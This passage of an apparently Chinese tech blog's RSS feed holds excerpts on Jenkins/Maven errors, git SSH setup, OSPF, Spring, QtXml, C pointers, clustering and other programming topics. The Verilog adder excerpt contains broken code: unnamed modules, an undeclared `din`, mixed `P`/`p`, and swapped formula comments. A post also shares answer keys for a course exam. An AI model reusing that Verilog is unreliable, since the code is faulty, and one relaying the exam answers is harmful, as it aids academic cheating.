      <description>在Docker中安装了Jenkins，在Jenkins中构建一个Maven项目，打包运行JeecgBoot项目，后台报错：&#xA;…&#xA;[ERROR] Failed to execute goal on project jeecg-boot-base-core: Could not resolve dependencies for project org.jeecgframework.boot:jeecg-boot-base-core:jar:2.4.5: Failed to collect dependencies at com.baomidou:dynamic-datasource-spring-boot-starter:jar:3.2.0: Failed to read artifact descriptor for com.baomidou:dynamic-datasource-spring-boot-starter:jar:3.2.0: Could not transfer artifact com.fasterxml.jackson:jackson-bom:pom:2.8.8 from/to maven-default-http-blocker (http://0.0.0.0/): Blocked mirror for repositories: [aliyun (http://maven.aliyun.com/nexus/content/groups/public, default, releases), jeecg (http://maven.jeecg.org/nexus/content/repositories/jeecg, default, releases), central (http://maven.aliyun.com/nexus/content/groups/public/, default, releases+snapshots)] -&amp;gt; [Help 1]&#xA;[ERROR]&#xA;[JENKINS] Archiving /var/jenkins_home/workspace/jeecg-boot-2/jeecg-boot-module-system/pom.xml to org.jeecgframework.boot/jeecg-boot-module-system/2.4.5/jeecg-boot-module-system-2.4.5.pom&#xA;[ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch.</description>
    </item>
    <item>
      <title>git权限被拒绝(已添加公钥) 解决办法，亲测有效</title>
      <link>https://bchobby.github.io/posts/839cef9fbe22f9f8d20a8b520e6cf76f/</link>
      <pubDate>Sun, 18 Jul 2021 22:22:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/839cef9fbe22f9f8d20a8b520e6cf76f/</guid>
      <description>问题 在克隆仓库时提示权限被拒绝，如下所示：&#xA;$ git clone git@github.com:user/repository.git &amp;gt; Permission denied (publickey). 前提：&#xA;已经生成公钥，且添加到Github的SSH中使用的是Windows系统 解决办法 在git-bash中执行以下命令，添加ssh文件&#xA;eval &#34;$(ssh-agent -s)&#34; ssh-add ~/.ssh/PATH_TO_YOUR_SSH_PRIVATE_KEY (e.g. ~/.ssh/id_rsa) 在C:\Users\yourUserName\.ssh文件夹下新建文件config(注意没有后缀)，添加以下命令，这是为了能够永久添加辨别文件&#xA;Host * IgnoreUnknown UseKeychain AddKeysToAgent yes UseKeychain yes IdentityFile PATH_TO_YOUR_SSH_PRIVATE_KEY (e.g. ~/.ssh/id_rsa) 关闭窗口，重新打开git-bash，执行以下命令，测试是否能访问github&#xA;ssh -T git@github.com 如果能够正常输出以下语句，代表成功&#xA;Hi Star-live! You&#39;ve successfully authenticated, but GitHub does not provide shell access. 参考文献 错误：权限被拒绝（公钥）Github permission denied: ssh add agent has no identities.ssh/config: “Bad configuration option: UseKeychain” on Mac OS Sierra 10.</description>
    </item>
    <item>
      <title>超前进位加法器（verilog）</title>
      <link>https://bchobby.github.io/posts/a749b8a6873482962026d9ec64b17312/</link>
      <pubDate>Sun, 18 Jul 2021 18:49:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a749b8a6873482962026d9ec64b17312/</guid>
      <description> 文章目录 1.串行进位加法器2.超前进位加法器 加法器单元可以分为全加器和半加器，半加器没有输入进位端，所以半加器时两个比特相加，而全加器时3个比特相加。如下为一个1位半加器， 而一个1位全加器单元的逻辑门数量要比半加器多，： 1.串行进位加法器 多位数相加时，直接描述产生串行进位加法器。代码如下：&#xA;//3位半加器 module(cout,sum,a,b); output cout; output [2:0]sum; input [2:0]a,b; assign {cout,sum} = a + b; endmodule //3位全加器,有低位向本位的进位 module(cout,sum,a,b，cin); output cout; output [2:0]sum; input [2:0]a,b; input cin; assign {cout,sum} = a + b + cin; endmodule 2.超前进位加法器 两个多bit位的数相加时，每一位都是带进位相加的，因为必须要使用全加器。如果采用串行进位加法器（如上代码所示）的话，只要依次将低位全加器的进位输出端(CO)接到高位全加器的进位输入端（CI）。这就每一位相加的结果都必须要等到低一位的计算结束，产生进位交给高一位的进位输入端，才可以计算高一位。由此类推，如果数值的位数多的话，那么这个串行进位加法器的输出延迟会非常的大。&#xA;为了提高运行速度，提前计算好进位信号，这样高位的全加器就不需要等待来自低位的进位信号了。怎么实现呢？因为第i位的信号都可以由两个数的第 (i-1) 位、第 (i-2) 位、…、第0位唯一地确定。第 i 进位可以用 ：&#xA;以四阶超前进位加法器为例，进位的产生如下图：&#xA;代码如下：&#xA;module four_bits_fast_adder(cout,sum,a,b,cin); output [3:0]sum;//数据累加和本位 output&#x9;cout;//输出进位 input [3:0]a,b;//需要相加的数 input cin;//输入进位 wire&#x9;[4:0]g,p,c;//分别对应Gi、Pi和Ci assign c[0] = din;//最低进位为输入进位 assign P = a | b;// Pi = Ai·Bi assign g = a &amp;amp; b;// Gi = Ai+Bi assign c[1] = g[0] | (p[0]&amp;amp;c[0]);//对应图中 C1 assign c[2] = g[1] | ( p[1]&amp;amp;(g[0] | (p[0]&amp;amp;c[0]) ); assign c[3] = g[2] | (p[2]&amp;amp;(g[1]|(p[1]&amp;amp;(g[0]|(p[0]&amp;amp;c[0]))))); assign c[4] = g[3] | (p[3]&amp;amp;(g[2]|(p[2]&amp;amp;(g[1]|(p[1]&amp;amp;(g[0]|(p[0]&amp;amp;c[0]))))))); assign sum = p ^ c[3:0]; assign cout = c[4]; endmodule </description>
    </item>
    <item>
      <title>OSPF的基本工作原理</title>
      <link>https://bchobby.github.io/posts/6580a719e309e9f609d4f2ac20cb1442/</link>
      <pubDate>Sun, 18 Jul 2021 18:01:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6580a719e309e9f609d4f2ac20cb1442/</guid>
      <description>OSPF的基本工作原理 1.定义&#xA;2.特点&#xA;3.基本概念&#xA;4.OSPF五种分组类型&#xA;5.DR/BDR&#xA;6.区域&#xA;1.定义 开放最短路径优先OSPF，是为了克服RIP的缺点在1989年开发出来的。&#xA;“开放” 表明OSPF协议不是受某一家产商控制，而是公开发表的。&#xA;“最短路径优先”是因为使用了dijkstra提出的最短路径算法SPF。&#xA;2.特点 ①OSPF–&amp;gt;基于链路状态，而不是RIP–&amp;gt;基于距离向量&#xA;②OSPF采用SPF算法计算路由，从算法上保证了不会发生路由环路。&#xA;③OSPF不限制网络的规模，更新效率高，收敛速度快。&#xA;3.基本概念 （1）链路状态：本路由器和哪些路由器相邻，以及相应链路状态的“代价”（cost）。&#xA;cost:指费用、距离、时延、带宽等。&#xA;（2）使用OSPF的路由器都会产生链路状态通告LSA。其中内容一般为&#xA;①直连网络的链路状态信息&#xA;②邻居路由器的链路状态信息&#xA;（3）LSA被封装在链路状态更新分组LSU中 —&amp;gt;洪泛法发送。&#xA;（4）使用OSPF的每一个路由器都有一个链路状态数据库LSDB，用于存储LSA。&#xA;（5）通过路由器洪泛法发送封装有自己的LSA的LSU分组。&#xA;–&amp;gt;各路由器的LSDB最终将达到一致&#xA;（6）使用OSPF的路由器基于LSDB进行SPF计算，构建出各自到达其他各路由器的最短路径，即构建各自路由表。&#xA;4.OSPF有以下五种分组类型 ①问候（hello）分组&#xA;②数据库描述（DBD）分组&#xA;③链路状态请求分组（LSR）&#xA;④链路状态更新分组（LSU）&#xA;⑤链路状态确认分组（LSAck）&#xA;从OSPF建立邻居，到LSA的互换，到路由表的计算，需要经过一系列的数据包交换过程，过程如下:&#xA;两路由器之间首先建立邻居关系互相发送hello分组，然后双方都发送各自的数据库描述分组（DBD），若其中一方发现对方的LSDB中有自己LSDB中所没有的LSA则向对方发送链路状态请求分组（LSR），对方则将其没有的LSA通过链路状态更新分组（LSU）发送，该路由器接收并回一个链路状态确认（LSAck）。最终达到收敛状态。&#xA;5.DR/BDR OSPF在多点接入网络中路由器邻居关系 的建立：&#xA;当多台OSPF路由器连到同一个多路访问网段时，如果每两台路由器之间都相互交换LSA，那么该网段将充满着众多LSA条目，为了能够尽量减少LSA的传播数量，通过在多路访问网段中选择出一个核心路由器，称为DR（Designated Router），网段中所有的OSPF路由器都和DR互换LSA，这样一来，DR就会拥有所有的LSA，并且将所有的LSA转发给每一台路由器；DR就像是该网段的LSA中转站，所有的路由器都与该中转站互换LSA，如果DR失效后，那么就会造成LSA的丢失与不完整，所以在多路访问网络中除了选举出DR之外，还会选举出一台路由器作为DR的备份，称为BDR（Backup Designated Router）。&#xA;①选举指定路由器DR和备用的指定路由器BDR&#xA;(1).DR与BDR并没有任何本质与功能的区别，只有在多路访问的网络环境，才需要DR和BDR，DR与BDR的选举是在一个二层网段内选举的，即在多个路由器互连的接口范围内，与OSPF区域没有任何关系，一个区域可能有多个多路访问网段，那么就会存在多个DR和BDR，但一个多路访问网段，只能有一个DR和BDR；选举DR和BDR的规则为：&#xA;比较接口优先级&#xA;选举优先级最高的成为DR，优先级数字越大，表示优先级越高，被选为DR的几率就越大，次优先级的为BDR，优先级范围是0-255，默认为1，优先级为0表示没有资格选举DR和BDR。&#xA;Route-Id大小&#xA;如果在优先级都相同的情况下，Route-Id 最大的成为DR，其次是BDR，数字越大，被选为DR的几率就越大。&#xA;(2).在一个多路访问网络中，选举DR和BDR是有时间限制的，该时间为Wait时间，默认为4倍的Hello时间，即与Dead时间相同，如果OSPF路由器在超过Wait时间后也没有其它路由器与自己竞争DR与BDR的选举，那么就选自己为DR；当一个多路访问网络中选举出DR与BDR之后，在DR与BDR没有失效的情况下，不会进行重新选举，也就是在选举出DR与BDR之后，即使有更高优先级的路由器加入网络，也不会影响DR与BDR的角色，在越出选举时间（Wait时间）后，只有DR与BDR失效后，才会重新选举。DR失效后，会同时重新选举DR与BDR，而在BDR失效后，只会重新选举BDR。&#xA;②所有的非DR/BDR只与DR/BDR建立邻居关系。&#xA;③非DR/BDR之间通过DR/BDR交换信息。&#xA;6.区域 为了使OSPF能够用于规模很大的网络，OSPF把一个自治系统分为若干个更小的范围–&amp;gt;区域&#xA;好处：把利用洪泛法交换链路状态信息的范围局限于每个区域而不是整个AS，减少了整个网络的通信量。&#xA;未完待续····&#xA;参考于：&#xA;OSPF协议介绍&#xA;计算机网络微课</description>
    </item>
    <item>
      <title>WCF框架 Winform开发框架 c#开发 整个WCF框架和Winform开发框架一样，整合了权限控制管理、字典管理模块、公用类库、通用程序自动更新等模块</title>
      <link>https://bchobby.github.io/posts/042f3ec0c5e0d7b320f42587b1960128/</link>
      <pubDate>Sun, 18 Jul 2021 15:41:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/042f3ec0c5e0d7b320f42587b1960128/</guid>
      <description>WCF框架 Winform开发框架 c#开发 整个WCF框架和Winform开发框架一样，整合了权限控制管理、字典管理模块、公用类库、通用程序自动更新等模块，具备良好的界面布局和分布式服务应用的特点，支持数据分页、数据导入、Excel导出、支持多界面样式、支持闪屏、热键控制、多数据库支持，并且和代码生成工具Database2Sharp紧密结合等等特点，不一一尽数。&#xA;界面层在传统的Winform框架界面中和WCF+Winform框架界面中表现一致，在局域网中部署测试，客户端+ WCF服务器+ Oracle数据库服务器这种部署模式，非常流畅，由于是基于WCF框架结构，可以应用在广域网中，不过可能服务相应及Winform的体验要依赖于带宽的大小。&#xA;WCF主要是基于客户端-服务端通讯模式来实现分布式应用，并通过服务公布的节点进行访问，实现数据的交换等服务。</description>
    </item>
    <item>
      <title>JwtAuthenticationFilter config</title>
      <link>https://bchobby.github.io/posts/3aaa2c2a4c3a917bd1a8d39440bd3d0f/</link>
      <pubDate>Sat, 17 Jul 2021 23:44:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3aaa2c2a4c3a917bd1a8d39440bd3d0f/</guid>
      <description>/**&#xA;验证用户名密码正确后 生成一个token并将token返回给客户端&#xA;@author huwei&#xA;*/&#xA;public class JwtAuthenticationFilter extends UsernamePasswordAuthenticationFilter {&#xA;private final StringRedisTemplate stringRedisTemplate;&#xA;private final AuthenticationManager authenticationManager;&#xA;public JwtAuthenticationFilter(AuthenticationManager authenticationManager,StringRedisTemplate stringRedisTemplate) {&#xA;this.authenticationManager = authenticationManager;&#xA;this.stringRedisTemplate = stringRedisTemplate;&#xA;}&#xA;/**&#xA;验证操作 接收并解析用户凭证&#xA;*/&#xA;@Override&#xA;public Authentication attemptAuthentication(HttpServletRequest request,HttpServletResponse response) throws AuthenticationException {&#xA;// 从输入流中获取到登录的信息&#xA;// 创建一个token并调用authenticationManager.authenticate() 让Spring security进行验证&#xA;return authenticationManager.authenticate(new UsernamePasswordAuthenticationToken(request.getParameter(“username”),request.getParameter(“password”)));&#xA;} /**&#xA;验证【成功】后调用的方法若验证成功 生成token并返回&#xA;*/&#xA;@Override&#xA;protected void successfulAuthentication(HttpServletRequest request,HttpServletResponse response,FilterChain chain,Authentication authResult) throws IOException {</description>
    </item>
    <item>
      <title>QtXml：QDomText、QDomProcessingInstruction、QDomDocumentFragment、QDomAttr</title>
      <link>https://bchobby.github.io/posts/4bdd4bb96fa267858a2dc24711098c16/</link>
      <pubDate>Sat, 17 Jul 2021 22:56:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4bdd4bb96fa267858a2dc24711098c16/</guid>
      <description>这几个类比较简单，仅展示值得一说的函数或用法。&#xA;QDomText 1、QDomText splitText(int offset)&#xA;将此 DOM 文本对象拆分为两个 QDomText 对象。 这个对象保留它的第一个偏移字符，第二个（新创建的）对象被插入到这个对象之后的文档树中，并带有剩余的字符。&#xA;该函数返回新创建的对象。&#xA;QDomElement docElem = doc.documentElement(); qDebug()&amp;lt;&amp;lt;docElem.text();//helloWorld QDomText textNode = docElem.firstChild().toText(); QDomText splitNode = textNode.splitText(5); docElem.insertBefore(splitNode,textNode); QDomProcessingInstruction xml的处理指令。例：&#xA;QDomDocument doc; QDomProcessingInstruction stateInstruct = doc.createProcessingInstruction(&#34;xml&#34;, &#34;version=\&#34;1.0\&#34; encoding=\&#34;UTF-8\&#34;&#34;); QDomProcessingInstruction dealInstruct = doc.createProcessingInstruction(&#34;xml-stylesheet&#34;, &#34;type=\&#34;text/css\&#34; href=\&#34;style.css\&#34;&#34;); doc.appendChild(stateInstruct); doc.appendChild(dealInstruct); QDomElement root = doc.createElement(&#34;MyML&#34;); doc.appendChild(root); QDomElement tag = doc.createElement(&#34;Greeting&#34;); root.appendChild(tag); QDomText t = doc.createTextNode(&#34;Hello World&#34;); tag.appendChild(t); QFile file(&#34;demo.xml&#34;); file.open(QIODevice::WriteOnly | QIODevice::Truncate | QIODevice::Text); QTextStream out(&amp;amp;file); out.</description>
    </item>
    <item>
      <title>c语言指针用法详解，通俗易懂超详细！</title>
      <link>https://bchobby.github.io/posts/63016893fb9391361f6bb27b038abeb4/</link>
      <pubDate>Sat, 17 Jul 2021 16:39:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/63016893fb9391361f6bb27b038abeb4/</guid>
      <description>文章转自：无际单片机&#xA;大家好，我是无际。&#xA;今天给大家来讲解一下指针。&#xA;我会由浅到深，最后结合实际应用讲解，让大家学会指针的同时，知道大佬们都用指针来干嘛！&#xA;长文预警！全文大约5200多字，学指针看这篇文章就够了！&#xA;很多人跟我刚学习c语言一样，都害怕指针。&#xA;我也是后面做了一些物联网网关才知道，指针是c语言的灵魂这句话真正含义。&#xA;没有指针，很多功能实现起来确实很不方便，比如做不到真正的模块化编程。&#xA;Ok，废话不多说，下面正式进入主题。&#xA;一、通过这篇文章你能掌握以下知识：&#xA;指针的相关概念&#xA;掌握指针与数组之间的关系&#xA;掌握指针指向的指针&#xA;掌握如何使用指针变量做函数参数&#xA;掌握如何使用指针函数&#xA;掌握如何使用指针数组函数&#xA;那么这篇文章对应有视频教程，如果不喜欢看文章的可以去看视频，教程在小破站可以搜无际单片机编程找到，也可以找我们拿。&#xA;二、指针的作用：&#xA;指针是C语言中一个比较重要的东西，有人说指针是C语言的灵魂这句话说的一点也没错。&#xA;正确灵活地运用它，可以有效地表达一些复杂的数据结构，比如系统的动态分配内存、消息机制、任务调度、灵活矩阵定时等等。&#xA;掌握指针可以使你的程序更加简洁、紧凑、高效。&#xA;那么在单片机领域，如果是做稍微大一点的项目，需要把每个功能做成模块化，硬件驱动层和应用层分别独立运行。&#xA;即使更换单片机型号也不用修改应用层程序，即移植性非常强，这些都离不开指针。&#xA;甚至没指针会很难实现，即使实现代码的可移植性也很差。&#xA;三、指针的概念&#xA;前面讲了指针的作用，这里再强调一点，指针是一把双刃剑。&#xA;用好了能十分灵活而且提高程序的效率，但是如果使用不当，则会出现程序”死机”等致命问题。&#xA;而这些问题往往是由于错误地使用指针而造成的，最常见的就是内存溢出错误，指针指向未知地址。&#xA;1.地址与指针&#xA;指针是一个比较抽象的概念，如果想真正了解指针，那么要先从数据是如何存储的说起，我们通过一个图来看一下数据在内存里存储的情况。&#xA;在这个图中，都是以16进制显示。&#xA;红色标注的0x00000400代表地址内存地址，绿色37，30代表数据，而橙色标注的00 01代表地址递增量，即代表0x00000400和0x00000401，每个地址存储1个字节数据。&#xA;那么我们把这个图看作是数据在内存里的存储形式，0x00000400这个内存地址存储着数据37，0x00000401这个内存地址存储着数据30。&#xA;当我们在程序里定义一个字节的变量，那么在编译器编译时就会给这个变量分配一个这样的内存地址来存储。&#xA;假设我们定义以下变量&#xA;unsigned char a;&#xA;a = 0x37;&#xA;对应这个图就是，编译器在编译时会为变量a分配一个字节的内存空间并把0x37这个数据存储进去，并将变量名a改成地址0x00000400，以便CPU的访问。&#xA;通过这个地址就能找到变量a数据的存储位置，而这个地址0x00000400其实就是指针，通过这个指针可以访问变量a的数据。&#xA;2.指针变量&#xA;通过上面讲解我们明白了通过地址能访问内存的数据，这个地址啊就是指针。&#xA;那么指针和指针变量呢是不一样的概念，大家一定要记住了。&#xA;指针是概念、指针变量是这个概念的具体应用之一，我们先来看一下C语言里怎么定义指针变量。&#xA;指针变量定义的一般形式：&#xA;变量类型 *变量名&#xA;unsigned char *p;&#xA;通过这种语法，我们就能够定义一个指针变量p。&#xA;指针变量赋值&#xA;指针和指针变量是两个概念，指针变量跟普通变量一样，在使用前一定要定义和赋值(指向地址)。&#xA;给指针变量赋的值和普通变量不同，给指针变量赋值只能赋地址，而不能赋予其他任何值，否则会引起错误。&#xA;那么怎么获取普通变量的地址呢，在C语言里可以使用”&amp;amp;”来获取普通变量的地址，一般用以下格式来表示:&#xA;&amp;amp;变量名&#xA;那么通过&amp;amp;变量名取得变量地址后就可以赋值给指针变量。&#xA;举例:&#xA;unsigned char a;&#xA;unsigned char *p&#xA;int main()</description>
    </item>
    <item>
      <title>Hyper-v 安装Ubuntu 21.04虚拟机</title>
      <link>https://bchobby.github.io/posts/e0bba962a33901c12ae3dd759f9c025c/</link>
      <pubDate>Sat, 17 Jul 2021 12:52:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e0bba962a33901c12ae3dd759f9c025c/</guid>
      <description>一、开启Hyper-v 控制面板--&amp;gt;程序--&amp;gt;程序和功能（启用或关闭Windows功能）--&amp;gt;勾选Hyper-v选项--&amp;gt;重启电脑&#xA;二、下载ISO包 163国内镜像下载地址：http://mirrors.163.com/ubuntu-releases/21.04/&#xA;三、配置虚拟机 1. 打开Hyper-v管理器 可以通过Windows搜索功能打开&#xA;2.创建虚拟机 新建一个外部虚拟交换机，网卡可以选择无线网卡或有线网卡&#xA;新建虚拟机，修改一下储存位置（C盘大不用改）&#xA;选择第二代&#xA;根据自己电脑硬件情况设置启动内存（开启动态内存，系统会自动分配内存）&#xA;网络选择刚才创建的虚拟交换机&#xA;配置虚拟内存，修改一下位置&#xA;安装进项默认&#xA;点击“完成”&#xA;3.安装系统镜像 添加一个DVD驱动器&#xA;选择镜像文件&#xA;关闭安全启动&#xA;启动/连接虚拟机，选择第一项回车&#xA;开始安装Ubuntu 一路默认操作（记得开启openssh）&#xA;安装完成重启虚拟机&#xA;输入用户名，密码登录系统&#xA;查看IP地址&#xA;ip addr show 知道ip就可以通过ssh工具连接了，写的比较仓促，欢迎补充。</description>
    </item>
    <item>
      <title>西南交通大学计算机程序设计基础期末,西南交通大学信息科学与技术学院计算机程序设计基础  绪论.pdf...</title>
      <link>https://bchobby.github.io/posts/5cc7f8364dd3a4ef20b19b7fb40d32cf/</link>
      <pubDate>Sat, 17 Jul 2021 02:51:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5cc7f8364dd3a4ef20b19b7fb40d32cf/</guid>
      <description>计算机程序设计与&#xA;Visual C++&#xA;西南交通大学 信息学院&#xA;计算机基础教育中心&#xA;课程简介&#xA;C++是当今最流行的高级程序设计语言之&#xA;一，应用十分广泛。它既支持结构化的程序&#xA;设计方法，也支持面向对象的程序设计方法。&#xA;本课程介绍最基本的概念、语法规则和编程&#xA;方法。包括：引言、基本的数据类型、运算&#xA;符和表达式、流程控制语句、函数、数组与&#xA;字符串、指针、类与对象、输入输出流等。&#xA;西南交通大学信息学院&#xA;课程简介&#xA;结 运算符与表达式&#xA;构&#xA;流程控制语句&#xA;化&#xA;C 程&#xA;+ 序 函数&#xA;+ 设 数组和字符串&#xA;程 计&#xA;序 指针&#xA;设 基础&#xA;计&#xA;语&#xA;面 类与对象&#xA;言&#xA;向&#xA;对 继承&#xA;象&#xA;程 多态&#xA;序&#xA;设 输入输出流&#xA;计&#xA;西南交通大学信息学院&#xA;课程目标&#xA;会用Visual C++6集成开发环境编写和&#xA;调试程序。掌握C++语言的概念、语法规则&#xA;和编程方法，理解结构化的程序设计和面&#xA;向对象程序设计的基本思想，会用结构化&#xA;的程序设计(SP)和面向对象的程序设计&#xA;方法(OOP) ，开发简单的应用程序。&#xA;西南交通大学信息学院&#xA;学习方法&#xA;• C++是一门实践性很强的课程，一定要边学&#xA;边练，边练边学，善于思考。&#xA;• 如果上课听不懂，应课前预习&#xA;• 上课应记笔记，利用电子教案做好课后复习</description>
    </item>
    <item>
      <title>springboot参考笔记</title>
      <link>https://bchobby.github.io/posts/450e1f27989a5562509dc6549023ab33/</link>
      <pubDate>Fri, 16 Jul 2021 23:34:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/450e1f27989a5562509dc6549023ab33/</guid>
      <description>**一、**Spring Boot 入门 1、Spring Boot 简介 简化Spring应用开发的一个框架；&#xA;整个Spring技术栈的一个大整合；&#xA;J2EE开发的一站式解决方案；&#xA;2、微服务 2014，martin fowler&#xA;微服务：架构风格（服务微化）&#xA;一个应用应该是一组小型服务；可以通过HTTP的方式进行互通；&#xA;单体应用：ALL IN ONE&#xA;微服务：每一个功能元素最终都是一个可独立替换和独立升级的软件单元；&#xA;详细参照微服务文档&#xA;3、环境准备 http://www.gulixueyuan.com/ 谷粒学院&#xA;环境约束&#xA;–jdk1.8：Spring Boot 推荐jdk1.7及以上；java version “1.8.0_112”&#xA;–maven3.x：maven 3.3以上版本；Apache Maven 3.3.9&#xA;–IntelliJIDEA2017：IntelliJ IDEA 2017.2.2 x64、STS&#xA;–SpringBoot 1.5.9.RELEASE：1.5.9；&#xA;统一环境；&#xA;1、MAVEN设置； 给maven 的settings.xml配置文件的profiles标签添加&#xA;&amp;lt;profile&amp;gt; &amp;lt;id&amp;gt;jdk-1.8&amp;lt;/id&amp;gt; &amp;lt;activation&amp;gt; &amp;lt;activeByDefault&amp;gt;true&amp;lt;/activeByDefault&amp;gt; &amp;lt;jdk&amp;gt;1.8&amp;lt;/jdk&amp;gt; &amp;lt;/activation&amp;gt; &amp;lt;properties&amp;gt; &amp;lt;maven.compiler.source&amp;gt;1.8&amp;lt;/maven.compiler.source&amp;gt; &amp;lt;maven.compiler.target&amp;gt;1.8&amp;lt;/maven.compiler.target&amp;gt; &amp;lt;maven.compiler.compilerVersion&amp;gt;1.8&amp;lt;/maven.compiler.compilerVersion&amp;gt; &amp;lt;/properties&amp;gt; &amp;lt;/profile&amp;gt; 2、IDEA设置 整合maven进来；&#xA;[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pv0iFtcC-1626449586309)(images/搜狗截图20180129151045.png)]&#xA;[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-791zbTph-1626449586313)(images/搜狗截图20180129151112.png)]&#xA;4、Spring Boot HelloWorld 一个功能：&#xA;浏览器发送hello请求，服务器接受请求并处理，响应Hello World字符串；&#xA;1、创建一个maven工程；（jar） 2、导入spring boot相关的依赖 &amp;lt;parent&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-parent&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.</description>
    </item>
    <item>
      <title>常见聚类算法汇总</title>
      <link>https://bchobby.github.io/posts/9f217b445046c687214b9d6bb77e72cd/</link>
      <pubDate>Fri, 16 Jul 2021 17:19:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9f217b445046c687214b9d6bb77e72cd/</guid>
      <description>文章目录 聚类一、聚类是什么？二、聚类算法的评判标准1.性能度量外部指标内部指标 三、距离计算1.闵可夫斯基距离2.欧氏距离3.曼哈顿距离3.VDM距离 四、聚类算法1.原型聚类a）K均值算法(k-means)b）学习向量化(LVQ)c)KNN算法 2.密度聚类DBSCAN 3.层次聚类AGNES 4.网格聚类5.模型聚类高斯混合聚类(EM) 6.谱聚类 总结 聚类 提示：本文适合有一定代码基础，了解机器学习概念，机器学习算法入门的读者，本文只是对常用聚类做了简单的总结，后期会加入个人理解，希望可以对大家有所帮助。&#xA;一、聚类是什么？ 将物理或抽象对象的集合分成由类似的对象组成的多个类的过程被称为聚类。由聚类所生成的簇是一组数据对象的集合，这些对象与同一个簇中的对象彼此相似，与其他簇中的对象相异。“物以类聚，人以群分”。&#xA;在无监督学习中，目标通过对无标记数据训练样本的学习来揭示数据内在的性质规律，将数据集中的样本划分为多个不相交的子集，为数据进一步分析提供基础。&#xA;二、聚类算法的评判标准 简单来说就是“簇间相似度高，簇内相似度低的时候效果最好”。&#xA;1.性能度量 外部指标 Jaccard系数（简称JC）&#xA;FM系数(简称FMI)&#xA;Rand系数(简称RZ)&#xA;结论：上述值均为0-1之间且越大越好&#xA;内部指标 DBI&#xA;DI&#xA;结论：DBI值越小越好，DI值越大越好&#xA;三、距离计算 1.闵可夫斯基距离 2.欧氏距离 3.曼哈顿距离 3.VDM距离 四、聚类算法 1.原型聚类 a）K均值算法(k-means) 定义： 算法通过把样本分离成 n 个具有相同方差的类的方式来聚集数据，最小化称为 惯量(inertia) 或 簇内平方和(within-cluster sum-of-squares)的标准（criterion）。该算法需要指定簇的数量K。&#xA;算法&#xA;采用贪心策略通过迭代优化来近似求解。&#xA;第一部分&#xA;将x样本划分到簇内计算X样本与各均值向量之间的距离。根据均值最近的向量确定簇标记。将样本划分到相应的簇 第二部分&#xA;确定新的均值向量&#xA;Created with Raphaël 2.3.0 开始 计算新的均值向量 new==old？ 结束输出old 向量=new向量 yes no b）学习向量化(LVQ) LVQ带有类标记，采用迭代优化。&#xA;样本集D，学习效率m，初始化原型向量p并设置其标记。&#xA;1.从样本集中随机选取样本。&#xA;2. 计算样本与p向量的距离&#xA;3. 找出与x距离最近的原型向量。&#xA;4. 判断X的标记和p的标记是否相等</description>
    </item>
    <item>
      <title>雨课堂期末考试答案----查了好多份答案，一道一道的进行查找正确答案，基本可以保证是正确答案</title>
      <link>https://bchobby.github.io/posts/f4214cb2389c6453d43cd92f608c41be/</link>
      <pubDate>Fri, 16 Jul 2021 15:27:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f4214cb2389c6453d43cd92f608c41be/</guid>
      <description>1.主观题 (10分) 工程为何总是伴随着风险?导致工程风险的因素有哪些?&#xA;2.判断题 (1分) 目前对水利工程价值的伦理判断基本是遵循功利主义原则。()对&#xA;3.单选题 (1分) 下列哪一项不属于工程实践全球性特征?( )C&#xA;A&#xA;生态性&#xA;B&#xA;深远性&#xA;C&#xA;社会性&#xA;D&#xA;整体性&#xA;4.单选题 (1分) 工程实践全球化中工程师的伦理责任包括职业伦理责任、()、环境伦理责任、以及文化伦理责任 B&#xA;A&#xA;生态伦理责任&#xA;B&#xA;社会伦理责任&#xA;C&#xA;企业伦理责任&#xA;D&#xA;地球伦理责任&#xA;5.多选题 (2分) 影响核事故信息公开的主要因素包括()。ABC&#xA;A&#xA;政治因素&#xA;B&#xA;社会因素&#xA;C&#xA;经济因素&#xA;D&#xA;人文因素&#xA;6.多选题 (2分) 以下哪些工程没有遵循自然规律,成为生态上失败的工程。()BC&#xA;A三峡水利枢纽&#xA;B三门峡水利枢纽&#xA;C咸海水利工程&#xA;D里海水利工程&#xA;7.多选题 (2分) 吸收公众参与工程决策、设计和实施的全过程,其作用是:()ABCD&#xA;A&#xA;有助于取得项目所在地各有关利益相关者的理解、支持和合作&#xA;B&#xA;有利于提高项目的成功率&#xA;C&#xA;有利于提高项目方案的透明度和决策民主化&#xA;D&#xA;有利于维护公正,减少不良社会后果&#xA;8.多选题 (2分) 处理工程伦理问题的基本原则包括( )ABD&#xA;A&#xA;社会公正原则&#xA;B&#xA;人道主义原则&#xA;C&#xA;经济利益最大化原则</description>
    </item>
    <item>
      <title>访问者模式实例与解析---实例一：购物车</title>
      <link>https://bchobby.github.io/posts/1e202b214da46fe9f11e1035ab7266d0/</link>
      <pubDate>Fri, 16 Jul 2021 13:35:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1e202b214da46fe9f11e1035ab7266d0/</guid>
